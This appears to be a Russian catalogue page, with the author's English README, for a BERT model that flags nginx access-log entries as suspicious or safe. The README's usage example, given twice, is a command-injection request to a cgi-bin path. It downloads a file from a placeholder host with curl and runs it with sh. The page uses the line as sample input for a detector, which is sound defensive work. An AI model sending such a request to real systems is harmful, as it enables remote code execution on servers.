/ Модель

Характеристики

Контекст
512 токенов
Параметры
136 млн
Лицензия
Apache 2.0
Архитектура
bert · dense
Опубликована
23 дек 2022

log-inspector

Классификация текстаТекст → label3 профессии

BERT-модель классифицирует записи журналов доступа nginx как подозрительные или безопасные.

14скачиваний за 30 дней5лайковвеса обновлены22 янв 2023

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

Log Inspector — модель классификации текстовых последовательностей на базе BERT, обученная разработчиком u-haru на журналах доступа nginx. Она определяет, выглядит ли запись журнала подозрительной или безопасной: метка 0 означает подозрительную запись, метка 1 — безопасную. Модель предназначена для первичной фильтрации nginx access logs и поиска потенциально вредоносных запросов, например попыток обращения к уязвимым путям или выполнения команд.

Модель содержит 135,5 млн параметров, принимает текстовые записи и выдаёт метку класса с оценкой уверенности. Максимальная длина контекста — 512 токенов; в карточке указан английский язык. Доступна в формате PyTorch и распространяется по лицензии Apache-2.0. В README указана основа bert-base-cased.

Сценарии применения

  • фильтрация подозрительных записей nginx access log
  • поиск запросов с попытками обхода путей
  • выявление строк журналов с командами или вредоносными параметрами

Ограничения

Классификация выдаёт только метки LABEL_0 и LABEL_1; README не описывает метрики качества или устойчивость к новым типам атак. Максимальная длина контекста составляет 512 токенов.

Для каких профессий подходит3

Разделы каталога профессий, в задачах которых используется эта модель

Все профессии

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

Log Inspector

Pretrained model on nginx access logs. Based on bert-base-cased.

How to use

Here is how to use this model to inspect a log.

Given text must be parsed as like:
"path: <path>; ref:<referrer>; ua:<user agent>;"

>>> from transformers import pipeline
>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;')
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]

class 0 is a suspicious log. class 1 is a safe log.

With simpletransformer:

>>> from simpletransformers.classification import ClassificationModel
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;'])
>>> print(predictions)
[0]

Evaluate or training:

>>> from simpletransformers.classification import ClassificationModel
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
>>> data = [["Suspicious log",0],["Safe log",1]]
>>> df = pd.DataFrame(data)

>>> model.train_model(df)
>>> result, model_outputs, wrong_predictions = model.eval_model(df)
>>> print(result)
{'mcc': 1.0, 'tp': 1, 'tn': 1, 'fp': 0, 'fn': 0, 'auroc': 1.0, 'auprc': 1.0, 'eval_loss': 1.8238850316265598e-05}

I trained with 9500 access logs. Here is evaluation score:

{'mcc': 0.993114718313972, 'tp': 1639, 'tn': 729, 'fp': 0, 'fn': 7, 'auroc': 0.9994166345815686, 'auprc': 0.9997937194890235, 'eval_loss': 0.020282083051662583}

and evaluation with 10000 logs:

{'mcc': 0.8494104528008076, 'tp': 9964, 'tn': 26, 'fp': 0, 'fn': 10, 'auroc': 0.9999845752803442, 'auprc': 0.9999999597891697, 'eval_loss': 0.0058870489358901976}

Training

Source codes are available here: github.com/u-haru/log-inspector

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм · text-classification

Можно запустить

Подбираем GPU…

Класс архитектуры
BertForSequenceClassification
Ревизия весов
f5ec36c

0 моделей